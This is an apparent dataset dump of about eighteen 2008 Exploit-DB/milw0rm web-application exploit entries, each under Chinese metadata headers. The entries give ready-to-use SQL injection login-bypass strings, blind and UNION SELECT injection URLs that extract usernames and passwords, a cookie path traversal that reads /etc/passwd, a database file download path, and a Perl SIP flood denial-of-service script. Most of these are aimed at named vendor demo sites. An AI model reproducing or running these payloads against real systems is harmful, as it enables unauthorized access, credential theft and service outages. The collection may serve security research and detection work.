QLWD/code_shield huggingface dataset:
标题: Active Trade 2 - Authentication Bypass EDB-ID: 7282 CVE: 2008-5627 类型: WEBAPPS 平台: ASP 发布日期: 2008-11-29 漏洞利用脚本: [~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
 [~]Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
   
 [~]Vendor: www.activewebsoftwares.com
   
 [~]Software: Active Trade v 2
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~] -----------------------------{str0ke}------------------------------
   
   
 [~] Exploit:
   
  Email: r0' or ' 1=1--

  password: r0' or ' 1=1--
   
   
 [~]login 4 d3m0:
   
  http://www.activewebsoftwares.com/demoactivetrade/account.asp


 
 [~]-----------------------------{str0ke}---------------------------------------------------
 
  [~] Greetz tO: {str0ke} & maxmos & EV!L KS@ & hesham_hacker
  [~]
  [~] spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ ,Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
 
 [~]--------------------------------------------------------------------------------

# milw0rm.com [2008-11-29] URL: https://www.exploit-db.com/exploits/7282
标题: Active NewsLetter 4.3 - Authentication Bypass EDB-ID: 7280 CVE: 2008-6286 类型: WEBAPPS 平台: ASP 发布日期: 2008-11-29 漏洞利用脚本: [~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
 [~]Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
   
 [~]Vendor: www.activewebsoftwares.com
   
 [~]Software: Active Newsletter v 4.3
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~] -----------------------------{str0ke}------------------------------
   
   
 [~] Exploit:
   
  username: r0' or ' 1=1--
  password: r0' or ' 1=1--
   
   
 [~]login 4 d3m0:
   
  www.activewebsoftwares.com/demoactivenewsletter/start.asp
  0R

  www.activewebsoftwares.com/demoactivenewsletter/Subscriber.asp
 
 [~]-----------------------------{str0ke}---------------------------------------------------
 
  [~] Greetz tO: {str0ke} & maxmos & EV!L KS@ & hesham_hacker
  [~]
  [~] spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ ,Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
 
 [~]--------------------------------------------------------------------------------

# milw0rm.com [2008-11-29] URL: https://www.exploit-db.com/exploits/7280
标题: ActiveVotes 2.2 - Authentication Bypass EDB-ID: 7275 CVE: 2008-5633 类型: WEBAPPS 平台: ASP 发布日期: 2008-11-29 漏洞利用脚本: [~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
 [~]Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
   
 [~]Vendor: www.activewebsoftwares.com
   
 [~]Software: ActiveVotes v 2.2
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~] -----------------------------{str0ke}------------------------------
   
   
 [~] Exploit:
   
  username: r0' or ' 1=1--
  password: r0' or ' 1=1--
   
   
 [~]login 4 d3m0:
   
  http://www.activewebsoftwares.com/demoactivevotes/register.asp
 
 [~]-----------------------------{str0ke}---------------------------------------------------
 
  [~] Greetz tO: {str0ke} & maxmos & EV!L KS@ & hesham_hacker
  [~]
  [~] spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ ,Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
 
 [~]--------------------------------------------------------------------------------


# milw0rm.com [2008-11-29] URL: https://www.exploit-db.com/exploits/7275
标题: CMS Made Simple 1.4.1 - Local File Inclusion EDB-ID: 7285 CVE: 2008-5642 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-29 漏洞利用脚本: Type: Directory Traversal vulnerability (Unix tested) / Root privileges escalation
Vendor: CMS Made Simple
Software: CMS Made Simple 1.4.1 "Spring Garden" (and probably others ...)
Author: M4ck-h@cK
Date 29.11.2008
Home: sweet home
contact: no, thx :)

Exploit:


Demo: on h[ttp://demo.cmsmadesimple.fr/admin/]

GET http://demo.cmsmadesimple.fr/admin/login.php HTTP/1.0
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: demo.cmsmadesimple.fr
Cookie: cms_language=../../../../../../../../etc/passwd%00.html;cms_admin_user_id=1
Connection: Close
Pragma: no-cache

It's possible to set "cms_language" value in order to view /etc/passwd file.

# milw0rm.com [2008-11-29] URL: https://www.exploit-db.com/exploits/7285
标题: Active Test 2.1 - Authentication Bypass EDB-ID: 7276 CVE: 2008-5959 类型: WEBAPPS 平台: ASP 发布日期: 2008-11-29 漏洞利用脚本: [~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
 [~]Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
   
 [~]Vendor: www.activewebsoftwares.com
   
 [~]Software: Active Test v 2.1
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~] -----------------------------{str0ke}------------------------------
   
   
 [~] Exploit:
   
  username: r0' or ' 1=1--
  password: r0' or ' 1=1--
   
   
 [~]login 4 d3m0:
   
  http://www.activewebsoftwares.com/demoactivetest/register.asp
 
 [~]-----------------------------{str0ke}---------------------------------------------------
 
  [~] Greetz tO: {str0ke} & maxmos & EV!L KS@ & hesham_hacker
  [~]
  [~] spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ ,Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
 
 [~]--------------------------------------------------------------------------------

# milw0rm.com [2008-11-29] URL: https://www.exploit-db.com/exploits/7276
标题: ASPReferral 5.3 - 'AccountID' Blind SQL Injection EDB-ID: 7274 CVE: 2008-6889 类型: WEBAPPS 平台: ASP 发布日期: 2008-11-29 漏洞利用脚本: [~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
 [~]Tybe:(Merchantsadd.asp AccountID) Blind SQL Injection Vulnerability
   
 [~]Vendor:www.activewebsoftwares.com
   
 [~]Software: ASPReferral
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~] -----------------------------------------------------------
   
 [~]3xpL0!7 4 d3m0:
   
  http://www.activewebsoftwares.com/demoaspreferral/Merchantsadd.asp?AccountID={bL!ND}
   
 [~] 8L!/\/D:
   
  7Ru3 : Merchantsadd.asp?AccountID= 1 and 1=1
  f4L53: Merchantsadd.asp?AccountID= 1 and 1=2
   
   
 
[~]--------------------------------------------------------------------------------
  
  [~] Greetz tO: {str0ke} &keta &m4n0n & maxmos & EV!L KS@ & hesham_hacker &Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ
  [~]
  [~] spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ & {str0ke}
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
  
[~]--------------------------------------------------------------------------------

# milw0rm.com [2008-11-29] URL: https://www.exploit-db.com/exploits/7274
标题: Active Membership 2 - Authentication Bypass EDB-ID: 7278 CVE: 2008-5635 类型: WEBAPPS 平台: ASP 发布日期: 2008-11-29 漏洞利用脚本: [~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
 [~]Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
   
 [~]Vendor: www.activewebsoftwares.com
   
 [~]Software: Active Membership v 2
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~] -----------------------------{str0ke}------------------------------
   
   
 [~] Exploit:
   
  username: r0' or ' 1=1--
  password: r0' or ' 1=1--
   
   
 [~]login 4 d3m0:
   
  http://www.activewebsoftwares.com/demoactivemembership/account.asp
 
 [~]-----------------------------{str0ke}---------------------------------------------------
 
  [~] Greetz tO: {str0ke} & maxmos & EV!L KS@ & hesham_hacker
  [~]
  [~] spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ ,Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
 
 [~]--------------------------------------------------------------------------------

# milw0rm.com [2008-11-29] URL: https://www.exploit-db.com/exploits/7278
标题: Active Price Comparison 4 - Authentication Bypass EDB-ID: 7283 CVE: 2008-5974 类型: WEBAPPS 平台: ASP 发布日期: 2008-11-29 漏洞利用脚本: [~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
 [~]Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
   
 [~]Vendor:www.activewebsoftwares.com
   
 [~]Software: Active Price Comparison v 4
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~] -----------------------------{str0ke}------------------------------
   
   
 [~] Exploit:
   
  username: r0' or ' 1=1--
  password: r0' or ' 1=1--
   
   
 [~]login 4 d3m0:
   
  http://www.activewebsoftwares.com/demoactivepricecomparison/login.aspx?
 
 [~]-----------------------------{str0ke}---------------------------------------------------
 
  [~] Greetz tO: {str0ke} & maxmos & EV!L KS@ & hesham_hacker
  [~]
  [~] spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ ,Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
 
 [~]--------------------------------------------------------------------------------

# milw0rm.com [2008-11-29] URL: https://www.exploit-db.com/exploits/7283
标题: Active Web Mail 4 - Authentication Bypass EDB-ID: 7281 CVE: 2008-5974 2008-5973 类型: WEBAPPS 平台: ASP 发布日期: 2008-11-29 漏洞利用脚本: [~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
 [~]Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
   
 [~]Vendor: www.activewebsoftwares.com
   
 [~]Software: Active Web Mail v 4
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~] -----------------------------{str0ke}------------------------------
   
   
 [~] Exploit:
   
  Email: any mail

  password: r0' or ' 1=1--
   
   
 [~]login 4 d3m0:
   
  www.activewebsoftwares.com/DemoActiveWebmail/login.aspx


 
 [~]-----------------------------{str0ke}---------------------------------------------------
 
  [~] Greetz tO: {str0ke} & maxmos & EV!L KS@ & hesham_hacker
  [~]
  [~] spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ ,Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
 
 [~]--------------------------------------------------------------------------------

# milw0rm.com [2008-11-29] URL: https://www.exploit-db.com/exploits/7281
标题: Active Force Matrix 2 - Authentication Bypass EDB-ID: 7273 CVE: 2008-5634 2008-5632 类型: WEBAPPS 平台: ASP 发布日期: 2008-11-29 漏洞利用脚本: [~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
 [~]Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
   
 [~]Vendor:www.activewebsoftwares.com
   
 [~]Software: Active Force Matrix v 2
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~] -----------------------------------------------------------
   
   
 [~] Exploit:
   
  username: r0' or ' 1=1--
  password: r0' or ' 1=1--
   
   
 [~]login 4 d3m0:
   
  http://www.activewebsoftwares.com/demoactiveforcematrix/account.asp
   
   
  
[~]--------------------------------------------------------------------------------
  
  [~] Greetz tO: {str0ke} &keta &m4n0n & maxmos & EV!L KS@ & hesham_hacker &Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ
  [~]
  [~] spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ & {str0ke}
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
  
[~]--------------------------------------------------------------------------------

# milw0rm.com [2008-11-29] URL: https://www.exploit-db.com/exploits/7273
标题: ReVou Twitter Clone - Authentication Bypass EDB-ID: 7270 CVE: 2008-7083 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-28 漏洞利用脚本: [~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
 [~]Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
    
 [~]Vendor:www.revou.com
    
 [~]Software: ReVou Online
    
 [~]author: ((Ñ3d D3v!L))
    
 [~] Date: 28.11.2008
    
 [~] Home: www.ahacker.biz
    
 [~] contact: N/A

[~] -----------------------------{str0ke}------------------------------
    
    
 [~] Exploit:
    
     username: r0' or ' 1=1--
     password: r0' or ' 1=1--
    
    
 [~]login 4 d3m0:
    
     http://www.revou.com/demo/
 
 [~]-----------------------------{str0ke}---------------------------------------------------
 
     [~] Greetz tO: {str0ke} & maxmos & EV!L KS@ & hesham_hacker
     [~]
     [~] spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ ,Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ
     [~]
     [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
     [~]
     [~] xp10.biz & ahacker.biz
     [~]
 
 [~]--------------------------------------------------------------------------------

# milw0rm.com [2008-11-28] URL: https://www.exploit-db.com/exploits/7270
标题: Ocean12 FAQ Manager Pro - 'ID' Blind SQL Injection EDB-ID: 7271 CVE: 2008-6372 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-28 漏洞利用脚本: #########################################################
---------------------------------------------------------
Portal Name: Ocean12 FAQ Manager Pro
Author : Mountassif Moad
 Evil Finger / v4 Team
Vulnerability : Blind Sql Injection
---------------------------------------------------------
#########################################################
Exploit :
site.com/?Action=Cat&ID=40%20and%201=1 true
site.com/?Action=Cat&ID=40%20and%201=0 false
Demo :
http://ocean12tech.com/products/faq/demo/?Action=Cat&ID=40%20and%201=1 true
http://ocean12tech.com/products/faq/demo/?Action=Cat&ID=40%20and%201=0 false

# you can exploting the bug white blind sql automatic toolz such as sqlmap or ...

# milw0rm.com [2008-11-28] URL: https://www.exploit-db.com/exploits/7271
标题: Bluo CMS 1.2 - Blind SQL Injection EDB-ID: 7268 CVE: 2008-6281 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-28 漏洞利用脚本: ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
                                                                     +
        Bluo cms 1.2  blind sql injection Vulnerability              +
                                                                     +
Discovered by : The_5p3ctrum                                         +
Contact AUTHOR: sp3[at]linuxmail.org & 5p[at]linuxmail.org           +                                                            +
                                                                     +
                      Mor0ccan Nightmares                            +
                                                                     +
                                                                     +
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

#####################################################

APPLICATION    : bluocms
DOWNLOAD(299 $): http://www.bluocms.com/shop.php
VENDOR         : http://www.bluocms.com
DEMO           : http://www.bluocms.com/demo

#####################################################


[+] vuln    : blind sql injection
              

[+] Exploit : 
              true:
               
              http://www.bluocms.com/demo/index.php?id=511 and substring(@@version,1,1)=5
              http://www.bluocms.com/demo/index.php?id=511 and 1=1
              
              false:
              
              http://www.bluocms.com/demo/index.php?id=511 and substring(@@version,1,1)=4
              http://www.bluocms.com/demo/index.php?id=511 and 1=2

##########################################################################################################
                                                                                                         #
# Greetings: str0ke, BayHay, Cyber-Zone, Drackanz, The_leo, The_Casper, Fucker_Net, And All my friends   #
                                                                                                         #
##########################################################################################################

# milw0rm.com [2008-11-28] URL: https://www.exploit-db.com/exploits/7268
标题: Microsoft Office - Communicator 'SIP' Remote Denial of Service EDB-ID: 7262 CVE: 2008-5180 类型: DOS 平台: WINDOWS 发布日期: 2008-11-28 漏洞利用脚本: #!usr/bin/perl -w

################################################################################################################
#    Microsoft Communicator allows remote attackers to cause a denial of service (memory consumption) via
#    a large number of SIP INVITE requests, which trigger the creation of many sessions.
#
#    Refer:
#    http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-5180
#    http://xforce.iss.net/xforce/xfdb/46673
#
#
#    To run this exploit on MS Windows replace "#!usr/bin/perl -w" with "#!Installation_path_for_perl -w"
#    (say #!C:/Program Files/Perl/bin/perl -w)
#
#     This was strictly written for educational purpose. Use it at your own risk.
#    Author will not bare any responsibility for any damages watsoever.
#
#        Author:    Praveen Darshanam
#        Email:     praveen[underscore]recker[at]sify.com
#        Date:      27th November, 2008
#
#    NOTE:    Thanks to all my colleagues at iPolicy Networks for making this possible.
#            For reliable security solutions please visit http://www.ipolicynetworks.com/
#
##################################################################################################################


use IO::Socket;

print("\nEnter IP Address of Vulnerable MS Communicator Server: \n");
$vuln_host_ip = <STDIN>;

############################################################
#default port on which SIP works is UDP 5060
#go thru http://technet.microsoft.com/en-us/library/bb963969.aspx for default ports
###################

print("\nEnter UDP port for MS Communicator Server: \n");
$port = <STDIN>;

$sock_sip = IO::Socket::INET->new(    PeerAddr => $vuln_host_ip,
                                     PeerPort => $port,
                                     Proto    => 'udp') || "Unable to create Socket";
#if the server is configured on TCP replace 'udp' with 'tcp'.

while(1)
{
print $sock_sip "INVITE sip:arpman.malicious.com SIP/2.0\r\nVia: SIP/2.0/UDP 172.16.16.4;branch=123-4567-900\r\n";


#kill by pressing Ctrl+c to stop flood of packets
}

#program never comes here for execution
close($sock_sip);

# milw0rm.com [2008-11-28] URL: https://www.exploit-db.com/exploits/7262
标题: Turnkey Arcade Script - SQL Injection (1) EDB-ID: 7256 CVE: 2009-3973 2008-5629 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-27 漏洞利用脚本: ----------------Mor0ccan Nightmares----------------

------------------------------
Script: Turnkey Arcade Script-
------------------------------

-----------------------------------
Site: http://www.turnkeyarcade.com-
-----------------------------------

-----------------------------------------------------------
Author: The_5p3ctrum <sp3@linuxmail.org> <5p@linuxmail.org>-
-----------------------------------------------------------


-----------------------------------------------------------------------
Business Turnkey Arcade Script (index.php id) Remote SQL Vulnerability-
-----------------------------------------------------------------------
---
Ex:
---

http://localhost/index.php?action=play&id=[sql]
http://localhost/index.php?action=play&id=-1+union+select+1,2,3,4,5,version(),7,8,9,10,11,12 from users

--------
exploit:
--------

http://localhost/index.php?action=play&id=-21+union+select+1,2,3,username,5,password,7,8,9,10,11,12 from users

-----
Demo:
-----

http://www.turnkeyarcade.com/demo/index.php?action=play&id=-21+union+select+1,2,3,username,5,password,7,8,9,10,11,12+from+users

-------
Greetz:
-------

Bayhay - Cyber-Zone - Drackanz - The_leo - The_Casper - Milw0rm and all my friends...

# milw0rm.com [2008-11-27] URL: https://www.exploit-db.com/exploits/7256
标题: SailPlanner 0.3a - Authentication Bypass EDB-ID: 7267 CVE: 2008-7077 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-28 漏洞利用脚本: -------------------------------------------------------------------------
  --          JIKO FroM No-exploit.Com        ---
-------------------------------------------------------------------------
# Author  : jiko
# email  : jalikom@hotmail.com
# Home   : www.no-exploit.Com
# Script  : http://relative.nl/projects.php?subMnuItem=1

=========================JIkI Team===================
# Exploit  :
               http://no-exploit.com
                real name of admin or ember
 Username : demo1  ' or ' 1=1
 Password : demo1 ' or ' 1=1 or JIKO or  any thing
ex:
 Username : demo1 ' or ' 1=1
 Password : demo1 ' or ' 1=1 or JIKO or  any thing

=========================JIKI Team===================
 greetz : all my friend and all No-exploit members and
 $ Gold_M $ Cochlain $ Hassin X $ cyber-zone $ r00t c0d3r $ HiSoKa $ MizoZ $ The-PunisheR
 all muslims
 visit:  ==> www.no-exploit.Com
 Visit: My-montada.Co.cc For your free Forum
-------------------------------------------------------------------------
  --            JIKI Team [ JIKO + KIl1er ]    --
-------------------------------------------------------------------------
------==        troops of Mohamed comming inchalah     =-----------------
Ana muslim , Ana 3arabi , Ana Magribi , bladi maroc
++--------------------------------------------------------------------------------------------------------------------------------------------------------+
++          [!]  Fi Khater Mgharba wahed wahed , Kima tayGol Khoya cyber-zone , Ana Maghribi , Ana Arabi , Ana Muslim , Jib L3azz Awela K7azz [!]        ++
+--------------------------------------------------------------------------------------------------------------------------------------------------------++

# milw0rm.com [2008-11-28] URL: https://www.exploit-db.com/exploits/7267
标题: Ocean12 FAQ Manager Pro - Database Disclosure EDB-ID: 7258 CVE: 2008-7063 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-27 漏洞利用脚本: #########################################################
---------------------------------------------------------
Portal Name: Ocean12 FAQ Manager Pro
Author : Mountassif Moad
 Evil Finger / v4 Team
Vulnerability : Database Disclosure Vulnerability
---------------------------------------------------------
#########################################################
XPL :
http://site.com/path//admin/o12faq.mdb
Demo :
http://ocean12tech.com/products/faq/demo/
http://ocean12tech.com/products/faq/demo/admin/o12faq.mdb

# milw0rm.com [2008-11-27] URL: https://www.exploit-db.com/exploits/7258
标题: Booking Centre 2.01 - Authentication Bypass EDB-ID: 7263 CVE: 2008-6810 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-28 漏洞利用脚本: Booking Centre 2.01 (Auth Bypass) SQL Injection Vulnerability

--------------------------------------------------------------

Author: MrDoug
E-mail: mrdoug13[at]gmail[dot]com

--------------------------------------------------------------

Exploit: http://demo.hotelsadmin.com/admin/index.php

Username == admin' or '1'='1
password == (whatever)

--------------------------------------------------------------

Greetz to Slappywag

--------------------------------------------------------------

# milw0rm.com [2008-11-28] URL: https://www.exploit-db.com/exploits/7263